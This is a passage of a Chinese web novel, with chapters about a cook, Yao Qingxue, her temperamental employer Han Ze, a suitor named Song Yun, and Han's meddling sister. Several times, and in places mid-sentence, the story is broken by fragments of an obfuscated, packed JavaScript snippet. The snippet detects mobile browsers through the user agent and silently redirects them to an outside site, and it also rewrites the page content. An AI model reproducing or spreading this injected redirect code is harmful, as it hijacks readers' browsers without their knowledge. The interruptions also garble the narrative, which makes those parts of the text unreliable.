姚轻雪去灶房做了碗馄饨,做这个快,她想让韩泽尽快填饱肚子,心情好起来,而且韩大人也喜欢吃她做的馄饨。 可今日也不知韩泽哪根筋搭错了,“你就不会做别的?馄饨吃腻了,重做。” 姚轻雪一头雾水,“您想吃什么?” 韩泽:“随便。” 姚轻雪:“……大人,要不您说个想吃的吧,随便不好做。” 韩泽就那么看着她不说话,姚轻雪没法子:“我这就给您重新做,这碗您不吃了吧,别浪费了,给曹叔吧。” 韩泽眼看着姚轻雪把馄饨端走,没多大会儿外面飘来茱萸的辣味儿。姚轻雪做的油炸茱萸,吃面、馄饨放一些味道特别好。韩大人咽了咽口水,心里嘀咕:曹叔怎么在他门口吃东西。 姚轻雪跑了一趟菜市场,菜肉买了不少,回来后连口水都没顾得上喝就开始蒸饭、炖肉,鉴于韩大人心情不好,她连片菜叶子都没让他瞧见。就这,韩泽还要她重做。再问想吃什么?韩泽还是那句:随便。 姚轻雪只好把饭和菜又端下去。曹叔瞧见了,问:“又不喜欢?” “曹叔,我觉得大人故意为难我,您说他是不是不想让我在这里做下去了?” “不会。”曹叔摆手。好不容易来这么个合心意的厨子,怎么会赶走。“许是少爷公事上不顺,姚厨娘你多担待。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680520|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好吧。”姚轻雪撅着嘴巴回到灶房,她用自己没舍得吃的腊肉做了炒饭,结果还是不合韩泽心意。 这下可把姚轻雪气着了,随便是吧,好。 一碗乱七八糟的杂菜锅端上来,韩泽眉头拧成一个疙瘩:“你做的这是什么玩意儿?” 姚轻雪:“随便。” 韩泽:“……” 还不等韩大人开口,姚轻雪道:“大人慢用。”说完她就溜了。 韩泽:“……” 回到灶房姚轻雪把把韩泽不吃的饭菜摆上桌,叫上曹叔,曹叔摆摆手,先前那一碗精肉馄饨不少,他这会儿吃不下了。 曹叔不吃,姚轻雪就自己吃。她正吃着,对面曹叔的位置突然坐过来一人。韩泽把那碗“随便”往桌上一顿:“把这个吃了。” 姚轻雪哪里还看不出来韩泽就是故意找茬,正好腊肉饭和炖肉吃得腻,她拿过那碗麻辣菜解腻。 韩泽气道:“……你都吃了,我吃什么?” 姚轻雪眨眨眼,把碗推了过去,见韩泽不动,她又把腊肉饭和炖肉往过推,见他看了看自己的碗筷。姚厨娘恍然大悟,重新给韩大人拿了碗筷。 韩泽也没回堂屋,就在灶房坐小板凳吃起来。他早就饿了,饭菜的香气总往鼻子里钻,再不吃他得疯,暂时就放过她吧。 见他大口吃饭,姚轻雪很无语,心道你是何苦呢?你是为难我啊?还是为难你自己呢?怎么跟个孩子似的。姚轻雪猜韩泽拿她出气,大概是抓张迁亲信出了错,财宝没找到。 算了,原谅他了,谁叫他没找到银子呢。姚轻雪嘴角压都压不下去,她又有希望了,改日再出城瞧瞧。 也是巧了,宋筠和朋友要出城游玩,他请姚轻雪同去。这么好的机会姚轻雪自然不会放过。她跟韩泽告假。韩泽见她又往山里钻,便决定亲自监视。 这日早晨姚轻雪吃完皁膳便上了宋筠的马车。马车里摆了张小方桌,桌上有蜜饯、糕点和新鲜果子。 “不知姑娘喜欢什么,随便准备了点,姚姑娘不要客气。”宋筠摇着折扇、温文尔雅。姚轻雪心中感慨,人比人气死人,韩泽若是这般温和体贴,相处起来该多愉快。 “多谢宋公子!”姚轻雪没客气,拿了块桃花糕放进嘴里。 宋筠见她毫不做作,脸上露出笑意:“’岂若天庭瑞,轻雪带风斜。’爹娘视你为天赐之瑞,姑娘必定受尽爹娘宠爱。” “世间祥瑞千万,我算哪门子瑞,下雪的日子出生,随便取的名字,没什么寓意。”姚轻雪用帕子擦了擦手。 她是在下雪的日子被姚福捡回家,生日便是那日。刘氏说她瘦巴巴像天上的雪花一样轻,姚福便给她取名轻雪。不但没有诗意,反倒很可怜。 宋筠虽不明白为何姚轻雪脸上会有一丝嘲讽,但知道自己大概说错话了,便移开话题:“前几日教你的字可都会写了?” 23. 第 23 章 姚轻雪以坐姿弯腰行一礼:“回先生,学生一日不曾懈怠,您教的字学生都记住了,就是写的不怎么样。” “咳咳、”宋筠也一本正经地说道:“练字非一朝一夕,只要勤耕不辍必有所成。” 姚轻雪拱手:“多谢先生教诲!” 两人互相看了看,都笑了出来。见她笑了,宋筠悄悄松了口气。 马车很快来到明霞山的一处山涧。除了宋筠,还有三位读书人,杜举人、秦举人和黄举人,四人乃多年好友,均要参加明年春闱。 宋筠把姚轻雪介绍给好友,三人看看姚轻雪,又别有深意地看宋筠。 “姚姑娘是我朋友。”宋筠一派坦然。三人则但笑不语。 姚轻雪与他们不熟,打过招呼便识趣地走去河边。此处位于山谷中,风景优美、溪水潺潺,是野炊的好来处。四位读书人触景生情对起诗来,仆人们则摆桌、放凳、生火。马车拉来不少食材,水从上游取溪水。 看了会儿山,姚轻雪便去帮忙。宋三笑着道:“姚娘子去赏景吧,这些粗活我们来做。”宋三是宋筠的家仆,与姚轻雪熟。 宋筠走过来:“姚姑娘不必动手,让旁人做吧。” 姚轻雪纳罕,不是让她来做饭吗?宋筠似乎看出她在想什么,笑着道:“姑娘每日在灶前劳累,一日不得空,今日便歇歇。” 树林里藏着的韩泽心道,什么叫一日不得空?她是厨子,不在灶前要在哪里?谁家不是日日吃饭?厨子不干活,让他喝西北风? 原来让她来偷闲呀,姚轻雪心里高兴,这下她就有时间爬山找财宝了。“多谢宋公子,不过我也不能干看着。” 那边已有人堆起木柴,准备生火。他们带了鸡、兔子、羊肉和鱼。这几位读书人做不来搭弓射箭猎野物,偏要学那野趣,便只好自带了。 肉在家中腌过,走了一路味道都吃进去了。姚轻雪提议把鸡包上树叶抹上泥巴放进火堆里煨熟。 秦举人:“这种吃法新奇,可以一试。” 三人知道姚轻雪是厨子,但并未表现出轻视,也许心里有,但不会叫人看出来。 主意姚轻雪出的,宋筠自然没意见。姚轻雪让人从溪水里捞了泥,又加了些土和成干泥,她用树叶把腌过的整只鸡包好,再抹上泥巴,然后将鸡放进柴堆里。待火燃起后再把兔子和鱼等挂上去烤。 山崖上躲着的韩泽,见姚轻雪像只蜜蜂似地给宋筠烤东西吃,他越看越气,她对自己何时这么殷勤过? 姚轻雪只烤了一波,便有人接手过去,宋筠叫她过去同坐,这显然不合适,姚轻雪拒绝了。宋筠他们饮酒作诗,姚轻雪登高远眺,看了这处看那处,宋筠只当她在韩家憋得太久,见什么都新奇,韩泽却知道姚轻雪在找某地。 姚轻雪不敢走远,只在附近的几个高处转悠,看了几处都没看出名堂。时间已经过去了一个时辰。她回来把柴堆里的鸡扒出来,敲碎泥巴、揭开焦黑的树叶,金黄油润的鸡肉鲜香扑鼻,让人忍不住流口水。 宋筠几人过来看新鲜。姚轻雪洗了手把鸡肉撕开放在盘子里给他们。 “外皮脆,肉却很嫩。” “杜某第一次吃汁水这般充足的鸡肉,鲜!” “香!姚姑娘总能给宋某惊喜。” 姚轻雪笑道:“若是将树叶换成荷叶,鸡肉便有荷叶的清香。再将鸡内放些五花肉、菌子,口感也会更丰富。若是想在家里吃,没有泥巴用面粉与黄酒当做泥也是一样的。” “面粉与黄酒做泥?妙啊!既不用远足山里,也不用下河掏泥,回去叫厨子试试。多谢姑娘告知黄某佳肴秘法。”这位黄举人与宋筠是同道中人,对美食颇为在意。 客气了几句,姚轻雪去河边洗手,然后就在一旁的石头上坐下。山中虽比城里凉快,但她爬了这么久的山,这会儿也满身汗。不久宋筠走了过来,也坐到旁边的石头上。 姚轻雪想起身,宋筠忙道:“姚姑娘不必多礼。” 见他脸色微红,姚轻雪道:“看得出来今日公子很高兴。” “我四人多年好友,今日难得一聚。”宋筠笑道。他们各自拜了老师专研学问,平日不是在家读书,就是在老师家里受教,已经有半年没见过了。 韩泽悄无声息地来到两人背后的山崖,他趴在上面盯着宋筠后脑,你个举人跟人家姑娘坐一起算怎么回事?读书人的矜持和规矩呢?不成体统。 他正腹诽,就听下面宋筠突然道:“不知姑娘可有想过换一家雇主?” 韩泽握了握拳,他当宋筠是君子,这厮竟然背后撬他墙角,小人!韩大人的心瞬间提了起来了,去看姚轻雪后脑勺。她会不会答应? 姚轻雪想了想,虽然韩泽脾气阴晴不定、不好伺候,但他没对自己怎么样。故意气他,也没打没骂,换一个人可就不一定了。韩泽帮过自己,也答应帮芽芽办户籍。只要韩泽不赶她走,她就不能走。“不了,韩大人对我不错。而且我不会一直给人做厨子,等我攒够银子,就去开一家食肆。” 上头的韩泽嘴角弯了弯,算她有良心。 宋筠:“姑娘想开食肆,不必等到攒够银子,宋某现在就可以帮你。” 姚轻雪觉得奇怪,宋筠是什么意思?无缘无故帮她没做什么? 宋筠看着她,等她回答,姚轻雪站起身,“不、”她刚开口拒绝,就看见一个绿莹莹的大肥虫子直奔宋筠飞过去,“吧嗒”正中他脖子。 宋筠只觉脖子上一凉,下意识伸手去抓,把软乎乎的虫子抓进手里。山谷里响彻宋举人的惨叫声,惊得树林里的鸟四处飞散。 姚轻雪瞠目结舌,转头向上看,只看得见峭壁,上面什么都看不到。她很纳闷那虫子没长翅膀,咋就飞下来了呢? 来不及多想,她赶紧下河把宋筠扶起来。这时其他人也赶过来,宋筠无奈道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711206|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青青毛虫入衣领,惊得宋某跳河中。” 黄举人大笑:“竟是被虫子吓到,宋兄你胆子太小了。” 杜举人道:“幸亏是夏日,不然溪水就是寒潭了。” 众人说笑着把宋筠拉上岸,姚轻雪鞋子、裙边都湿了水。还未结束的野炊就此作罢。大家上了马车打道回府。 马车里宋筠颇为尴尬,他刚才太过狼狈,还是在姚轻雪面前。“让姑娘见笑了。” “我猜大概是宋公子替我受罪了。”姚轻雪指了指自己的裙子,墨绿色的,“或许那虫子是冲着我来的,只是准头不好。” 宋筠一愣,而后释然一笑:“多谢姑娘体谅!” 回到家关上门,姚轻雪重重叹口气,又是失望而归,想不劳而获可真难啊。她到家不久,韩泽也回了。“我要吃烤肉。” 姚轻雪没多想,只当韩泽是饿了,便去买肉。回来又切又腌,等肉烤上天都黑了。韩泽吃着总觉得不是滋味,心里不爽快他就爱折腾人,把姚轻雪指使得团团转。 姚轻雪不知道他又发什么疯?分神时不小心烫到手。她把起了水泡的右手给韩泽看:“韩大人,厨子的手伤不得,在我手好之前我做啥您吃啥。” 韩泽:“……”这算不算搬起石头砸自己脚? 夜里韩泽觉得自己可能过分了,便让曹叔给姚轻雪送去伤药,并且叮嘱曹叔别说他给的。曹叔转头就把他卖了。看在韩泽给自己伤药的份上,姚轻雪不生气了。 宋筠听说姚轻雪手烫伤,买了糕点蜜饯和上好的烫伤药过来隔壁。姚轻雪:“只烫起个水泡,过几日就好了,您不必破费。” “姑娘家的手该小心呵护着。”宋筠道。 姚轻雪总觉得宋筠最近对她的态度有些不对,两人也算熟悉,太过推拒显得生分,于是便收下了。想着下次自己出银子给宋筠做顿饭还回去就是。次日,宋筠又送过来一盒脂膏。姚轻雪不收,宋筠放下就走。 韩泽听着封八禀报,“我瞧着宋举人被您家厨娘给迷住了,那一盒手膏二两银子,全京城最贵的。不过姚厨娘似乎没那意思。” 陈九:“你怎么知道她没那意思?或许是欲拒还迎,女人惯会做这个。” 封八看一眼韩泽:“我觉得姚轻雪不是那种人。她对宋公子止于礼,心有贪念的人眼神骗不了人。咱家大人也不差,你监视他这么久,什么时候瞧见她打咱家大人主意了?” 韩泽听这话不顺耳,不满道:“什么叫我也不差?你的意思是我不如那宋筠?” “我说错话了,大人您见谅。”封八赶紧赔不是。 “我不大会看人。”陈九挠挠头,他比封八和杜七年纪都小,刚加入大理寺不久,所以没有他们两人那么老练。此次监视姚轻雪也是韩少卿让杜七和封八带他这个新人。 韩泽皱起眉头,宋筠恐怕不是让姚轻雪做厨子这么简单。他嘟囔:“看上她什么了?” 24. 第 24 章 陈九以为韩泽问他俩,便道:“她好看,男人都喜欢漂亮姑娘。”封八聪明地没开口。 韩泽:“……你也喜欢看?” 封八捅了一下愣头青,陈九赶紧摇头。 “别忘了正事。”瞧着快到中午,韩泽让他俩去吃饭,下午去换杜七。 韩泽也往家走,想问问姚轻雪字学得如何了?想让她别舍近求远,在家里学吧,免得让那姓宋的拐跑了。韩大人到家就看见妹妹韩莺与姚轻雪剑拔弩张。 那日韩振回家把儿子带厨娘赴宴的事一说,韩家炸了锅了,韩母当即就想会会这个厨子。介绍那么多姑娘,儿子都不瞧一眼,她很好奇什么样的厨娘能把儿子迷住?她儿子又不是没见过世面,美女、贵女、才女哪个没见过,怎么就对厨娘情有独钟?韩夫人想不通。 韩将军道:“他不成亲、不找女人,你着急,还说身份不重要。这会儿身边有人伺候,你倒是不满意了。” “那能一样?”韩母白了丈夫一眼,“区区厨娘怎么配得上我儿子?做妾都没资格。” “以儿子嫌麻烦的性子娶一个回来就不错了,你还想让他纳妾?”韩振对儿子比较了解。从小就不喜欢小姑娘围着他,嫌麻烦。 韩夫人怒道:“厨娘做正妻绝对不行。” 韩莺帮着母亲说话:“娘说的对,大哥前途无量,长得好脾气好样样都好。”在她心里自家大哥什么都好,“娘,您别去,免得失了身份,我去会会那个厨娘,我倒要瞧瞧她有什么本事能笼络住大哥,让他家都不回。” 韩漳劝她们:“娘,小妹,我劝你们别去,大哥什么脾气咱们都知道,小心他恼了。” “恼就恼,嫂子的人选绝对不能马虎。”韩莺小脸一绷,“不懂礼数、大字不识怎么配得上大哥?” 韩漳:“你怎么知道人家不懂礼数、大字不识?” “那还用说,有几个厨子识字?你去后厨问问咱家哪个厨子识字?” “莺儿说的对,这样的女人配不上你们大哥,将来家都管不了,让人看笑话。”韩夫人一拍桌子。“她想要银子就给她,想嫁进韩家,门儿都没有。” 韩将军叹气,真搞不懂妻子在想什么?儿子没女人愁,有女人又不满意。反正儿子有主意,他就静观其变吧。 韩莺怒气冲冲去了太平巷,可连着两天都没见着人,她大哥也不在。那两日韩泽忙着在西柳巷埋伏,姚轻雪回家帮爷爷摆摊,她哪里能见到人。 又过了两日韩莺再次来到太平巷。姚轻雪正在房中练字,她先是听见院门响动,曹叔开的门,随后她的房门“啪”一下被人从外面推开。 姚轻雪笔一歪,画了很长很宽一道,一张纸就这么废了。她抬头见一十四五岁的小姑娘面色不善地站在房门口。曹叔则一脸尴尬地站在门外。“小姐,有什么事,等少爷回来再说好不?” “不、好!”韩莺双手叉腰,昂着下巴,“你就是我大哥的厨娘?” “你谁啊?”姚轻雪听见曹叔的话了,知道前这位是韩泽的妹妹,但这丫头太没礼貌,让她废了一页纸,虽然是最低等纸,但对她来说也很贵,而且就剩两张了。“跑我房间来做什么?小心我报官抓你。” 韩莺瞪大眼睛,不敢相信这话是从一个厨娘嘴里说出来的,她指着姚轻雪的鼻子走过来,“你要报官抓我?知不知道我是谁?” 姚轻雪看智障的眼神看着她,韩莺两手往桌子上一拍,然后立马跳起来,太用力,手好疼。姚轻雪忍笑,这孩子不太聪明的样子。 “我是韩泽的妹妹!”韩莺揉着手掌,“你没听见我叫大哥吗?” 姚轻雪:“你说是谁妹妹就是谁妹妹?我还说我是你姐姐呢,你认吗?” “做梦,我才没有你这种姐姐。” “你看,你都不认,还叫我认。”姚轻雪又拿了一张纸,“没事请回,别耽搁我练字。” “曹叔,你说。” 曹叔在门外陪笑:“姚厨娘!这的确是少爷的妹妹,韩府小姐。” 韩莺一脸嘚瑟,姚轻雪淡淡地看她一眼,“哦”了一声,低头写字。 韩莺没等到她的战战兢兢和道歉,正想发脾气,但见姚轻雪一笔一画写字,就把到嘴边的话咽了回去。 看着看着韩莺忍不住了,“下笔错了,第一笔应该这样,她转到姚轻雪那一侧,抢过笔一边写一边说:“这样的笔顺才是对的,你那样写出来不好看。记住、了、”这时韩小姐才意识到自己多蠢,怎么就教她写字了呢?她怎么会写字? 为了挽回面子,韩莺把纸团吧团吧,“什么破纸,这么差怎么能写字。” 姚轻雪扶额,一张纸都没了,这字是练不下去了。 “韩小姐来我这里有何贵干?”这丫头表面看着嚣张,但本性似乎不坏。既是韩泽的妹妹,自然有韩泽管教。她应付应付好了。 本来想问她要多少银子才肯离开他大哥,但韩莺突然想折腾折腾她,谁让她害自己白跑两趟。“我饿了,去给本小姐做午膳,我要吃要桂花八宝鸭、重阳糕。”都是费时费力的东西。 姚轻雪白她一眼:“不接受点菜。” “你、” “你什么你,不吃请回。”姚轻雪都不给她说话的机会就去了灶房,韩莺没办法只好去堂屋等着。 半个时辰后,姚轻雪把今日从家里拿来的卤味都切了,有猪脚、猪肠、猪肚、猪心、鸡脚、鸡胗。 韩莺小脸气得通红,与姚轻雪吵起来,韩泽回来正好看到这一幕。 “难道你给我哥吃这些?”韩莺不敢相信他哥过得是什么日子。厨娘这么应付主子那还了得?看来这厨娘跟大哥不清不楚是真的。 姚轻雪轻飘飘道:“你哥爱吃。” “你撒谎,我大哥从来不吃下水。”韩莺今日势必要让姚轻雪知难而退,离开她大哥。 “现在爱吃了,我做的他都爱吃。”事实上就是如此,但这话韩莺听着就是另外一回事了。 “你这个样子是厨娘?怕不是祖宗吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720861|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚轻雪幽幽道:“韩小姐慎言,我姓姚,跟您家扯不上关系。” 听到这,韩泽赶忙进屋。韩莺看见他先是眼睛一亮,而后满脸委屈巴巴:“大哥,你家厨娘没规矩,还不听话,我不喜欢她,你把她赶走。” “莺儿你怎么来了?” 韩莺瞪眼:“怎么?大哥不欢迎我?有了别人就忘了自家妹妹?” 韩泽皱眉,妹妹娇惯了些,但不是不懂道理,今日是怎么了?“莺儿!” 见韩泽脸色不好,韩莺有些打怵,她不怕爹娘,但却怕大哥,她和二哥做错事,爹娘舍不得打他们。大哥可不会手下留情。还不等韩泽说什么,她就开始耍赖:“我不管,大哥你要留下她,就是不认我这个妹妹。” 姚轻雪十分无语,这兄妹俩的事关她一个厨子何事?她不想参与,转身就走。 韩莺大喊:“站住!”她不等韩泽说话,从怀里掏出一张银票拍到姚轻雪怀里。“这是五百两,你做厨娘一辈子都赚不来,拿了银子离开我大哥。” 姚轻雪嘴巴张得老大,她突然明白这丫头为何一进门就针对她了。五百两,多值钱的误会啊!“好的,韩小姐,我立马收拾东西滚蛋。” 她转身就走,刚走到门口,就让韩泽提着后脖领给提溜回来。攥在手里的五百两也被韩大人抽了回去。 姚轻雪眼睁睁看着银票被拿走,心都在滴血,多好的暴富机会,哎! “你哪来这么多银子?”韩泽问妹妹。 韩莺怯怯地说:“娘、娘给的。” “娘叫你来的?” 韩莺刚要点头,又赶紧摇头,“不是。”心虚的韩莺赶忙祸水东引,指着姚轻雪:“大哥,你看看她给我做了什么?这能吃?” 韩泽看了看桌上的菜,一言难尽,这些东西他吃,但妹妹不可能。“姚轻雪,她是我妹妹。” 姚轻雪举起包着布的右手,“今日谁来都做不了,手伤着呢。” 韩泽无奈:“曹叔的伤药涂上一晚就好,你快把布拆了吧,不然我怕你手心捂出痱子。” 姚轻雪:“……” “好啊,你装伤偷懒。”韩莺又嘚瑟起来,“还不快去给我做,不然我让我哥把你赶出去。” 韩泽不敢接这话,还不等姚轻雪开口,“莺儿,咱们去外面吃。” “大哥?!”见大哥不帮自己,韩莺气得跺脚,“不吃了,回家。” 把妹妹送走,韩泽想让姚轻雪给他做碗面,几日不吃有点想。 “大人!失去五百两的心情您能理解吗?”说完姚轻雪转身回了房间。 韩泽拿着银票很是无语,她得到过吗?就失去了?吃饭还得看厨子心情。妹妹有句话说的没错:这哪里是厨娘,祖宗还差不多。 韩莺铩羽而归,就想把表姐叫来一起对付姚轻雪。 “别找你表姐。”韩夫人拦着。 “娘!”韩莺跺脚,“我宁愿表姐做我嫂子,也不要给我做猪下水的厨娘进咱们家门。” 25. 第 25 章 韩夫人有些头疼。外甥女对儿子有意,年纪也不大,即便三五年后成亲也来得及,但犟驴儿子就是不同意,说什么亲妹妹一样,如何做夫妻?儿子不点头她也不敢答应,不然她怕亲戚成仇人。 次日,姜玥瑶被表妹拉到太平巷,人还有些懵,她爱慕表哥,但表哥对她无意,母亲让她趁早断了念想,男女之事若是男人对你没有情,即便成亲吃亏的也是女人。姜玥瑶也想断,可是她所见男子均不如韩泽,让她如何断得了。 马车里韩莺叮嘱姜玥瑶:“表姐,你记住一定不能给那厨娘好脸色,我们两个连手让她知难而退,早点离开大哥。”路上她这嘴就没停过。 姜玥瑶纳闷,表妹小孩子心性,只要哄她开心,跟下人都能处到一块。那个厨娘如何得罪了韩莺?让她怨气这般大?“表妹,这么做会不会不妥?表哥知道了、” “你放心,大哥不会把我们怎么样,有我娘呢。”韩莺美滋滋道。她哥敢揍她,她就去找娘告状。虽然告状没什么用,但大哥怕娘哭,娘一哭他就没辙。从家里搬走不就是不想总看见娘哭哭啼啼的? 姜玥瑶欲言又止,其实她不大想来,但也很好奇韩泽喜欢的女人是什么样子?很快马车来到太平巷。 两人刚下马,韩莺吸了吸鼻子:“什么味儿?”她转着脑袋四处闻,然后发现香味是从大哥租的小院传出来的。特别香,韩莺急忙推开大门。 姚轻雪正在院里烤肉脯,炉子和烤盘都是铁做的,可以烤肉脯、烤肉。定做有几日了,今日刚拿回来,她想试试效果就用家里的剩肉做了点肉脯。 曹叔见二小姐和表小姐来了,赶忙行礼。姚轻雪抬头看了一眼,又低头继续烤。韩泽妹妹估计又来找茬了,不知今日会不会甩她五百两。有的话,那就太好了。 见姚轻雪不搭理她,韩莺不高兴:“见了主子怎么不行礼问好?你是哑巴吗?” “没看我忙着呢吗?耽搁你大哥午膳,你想好后果。”姚轻雪头都没抬,“还有,我主子只有你哥一人,我不伺候你。” 韩莺不忿想斥责,但想想自家大哥饿肚子时的臭脸,她闭了嘴,天大地大没有大哥饿肚子事儿大。她走到烤炉前:“你在做什么?不会又给我哥吃乱七八糟的东西吧?” “不告诉你。”姚轻雪往肉脯上刷油,免得烤糊。韩莺倒是提醒她了,改天买两个羊腰子烤。“曹叔,改天给您烤羊腰子。” “好,好。”曹叔笑出一脸褶子。他爱吃羊肉,但韩泽不喜欢,他就很少吃羊的东西。姚厨娘来了以后,少爷偶尔也吃羊肉。姚轻雪还想着给他烤羊腰子,曹旺哪能不高兴。 又是乱七八糟的东西,韩莺气道:“姚轻雪你是不是对我有意见?” “是。”姚轻雪大方承认。 韩莺:“……” 姜玥瑶:“……” 眼看表妹要炸,姜玥瑶赶紧扯了扯韩莺,对她使了个安抚的眼色,韩莺这才没说话。 姜玥瑶上前几步:“姑娘别介意,莺儿心直口快她没坏心的。” 姚轻雪抬头看看姜玥瑶,再看看韩莺,这是找来了帮手?轻声软语倒不像韩莺那么张扬。她笑笑没说话,低头翻肉脯。肉脯已经烤的差不多了,焦香扑鼻。韩莺悄咪咪盯着滋滋作响的肉脯,咽了咽口水,都忘了找茬。 姚轻雪抓了点芝麻撒在肉脯上,片刻后把薄薄的巴掌大的肉脯夹到盘子里,递给曹叔。 “为何给曹叔?”韩莺不满道,没看见她在这呢?韩家大小姐何时被人这般慢待过。 “尊老爱幼懂不懂?”姚轻雪白了她一眼,“曹叔每日替你哥收拾房间、浆洗衣物,打扫院子,这炉具还是曹叔扛回来的,你做什么了?” “我、”韩莺说不出话,她确实什么都没为哥哥做,在韩家也用不着她这些做呀。 曹旺尴尬,把盘子递过去:“二小姐先用。” 韩莺把盘子推了回去:“您先吃,还有呢。” 姚轻雪看了她一眼,又夹了一块递给姜玥瑶。姜玥瑶愣愣地接过盘子,没想到姚轻雪第二个会给她,转头见表妹韩莺气鼓鼓地瞪着姚轻雪。她刚想开口就听姚厨娘说:“去灶房拿盘子、筷子,你想用手抓?”没想到会有外人来,她只拿了俩盘子出来。 “哼。”韩莺虽不高兴,可为了能快点吃上就不跟这厨娘计较了。她提着裙摆跑去灶房拿了盘子筷子出来。等她从姚轻雪手里接过盘子,发现四四方方的肉脯缺了一个角。再看那厨娘,嘴里嚼着。“你干嘛吃我的?” “你的?哪个是你的?写你名字了?不吃给我。”姚轻雪嚼着肉脯,味道刚好,若是有蜂蜜就更好了,撒点茱萸粉韩泽或许会喜欢。 “才不给。”韩莺小孩子赌气似的端着盘子跑到墙边,看着姚轻雪狠狠咬了一口肉脯。然后她眼睛瞬间瞪大,好好吃。 一口肉脯没多大,两三口就让她吃没了,她去看表姐,姜玥瑶赶紧把最后一小块儿放进嘴里。 韩莺:“……” 姚轻雪正在烤第二盘,见大馋丫头走过来,“没有了,这几片是给你大哥的。” “怎么做这么点?都不够我哥塞牙缝的。”韩莺不满道。 姚轻雪:“你哥牙缝没那么大。” 韩莺:“……”这厨娘说话忒气人,可她刚吃了人家东西,也不好对她发脾气。 韩莺眼巴巴看着烤盘上的肉脯,样子跟芽芽站在锅边看她做红烧肉一个样。姚轻雪问:“还想吃?”韩莺猛点头。 “明日吧,若是喜欢甜的,带些蜂蜜过来,不过你得帮我剁肉,不干活别想吃。”肉剁成泥很累人,姚轻雪不想费力不讨好,干脆让她自己动手。 “行。”韩莺想都没想就应下来,剁肉嘛,她带人过来不就行了。“明日上午我和表姐一起来,你别忘了啊。” 韩莺怕继续待下去她把大哥的肉脯偷吃了,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752145|155443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着表姐往外走。等明日吃了肉脯再赶她走也不迟。 气势汹汹地来,吃了块肉脯转头就走,姜玥瑶无奈,她们干什么来了? 午膳时姚轻雪说起此事,韩泽给她十两银子,让她多买些肉回来。肉脯他也喜欢。 第二天姚轻雪干脆买回一条猪后腿,又买了五花肉、羊肉、豆腐等,看见鱼、河虾也买了些。反正都是烤,不如吃烤肉算了。 辰时末韩莺和姜玥瑶就到了,她俩带了两个膀大腰圆的婆子过来。姚轻雪也不客气,指使两个婆子剁肉,把一整条猪后腿的肉都剁成泥,韩莺带过来一罐蜂蜜。 姚轻雪很满意,蜂蜜贵,这么大一套罐够用很久了。她将肉脯调了几味儿,原味、芝麻味、蜂蜜味、茱萸味。然后让韩莺烤。 韩莺不乐意:“为什么要我做?你干什么?” “我弄菜,你不想吃午膳了?”羊肉、五花肉还有鱼和虾都得腌制收拾。 韩莺身边的小丫鬟上前:“我来帮小姐。” 姚轻雪摇头惋惜:“自己亲手做出来的东西,吃着更香!” “是吗?”韩莺问表姐。 姜玥瑶一脸温柔地摸摸表妹的脸蛋,“表姐和你一起。” 韩泽怕妹妹和姚轻雪打起来,提前回来。回家就看见自家妹妹和表妹在炉子前战战兢兢,俩人脸上黑一道白一道,额头上都是汗。 “姚轻雪,糊了,你快来看看呀,咳咳、”韩莺拿着竹夹给肉脯翻面。她从小到大就没做过这个,翻动几下都没能把肉脯翻起来。 厨房传来喊声:“糊了你不会往盘子里捡?笨!” 姜玥瑶赶紧接过表妹手里的竹夹,两个十指不沾阳春水的大小姐手忙脚乱,还是没能挽救肉脯。一股焦糊的味道传进灶房。姚轻雪放下手里的活,出来看见肉脯已经黑成炭了。韩莺和姜玥瑶像做错了事,怯怯地看着她。 “一回生、两回熟,下次就好了,我看好你们。”姚轻雪把铁板拿去灶房洗刷干净,重新拿出来放到炭火上。 韩莺撅着嘴和姜玥瑶躲得远远的,又热又呛,她不干了。 韩泽站门边看了许久,也没见妹妹过来告状,她还卖力干活,也不知姚轻雪怎么忽悠的?看样子妹妹和表妹两个加起来也不是姚轻雪对手。他走过去:“我来吧。” 韩泽觉得烤肉不难,但一上手就废,没比韩莺好多少。 腌完肉、蒸了米饭,拌了两个凉菜,姚轻雪这才从灶房出来。她见韩泽满头大汗、手忙脚乱地烤肉脯。再看他烤出来的东西。“韩大人,您还是边上等着吧,糟蹋东西。” 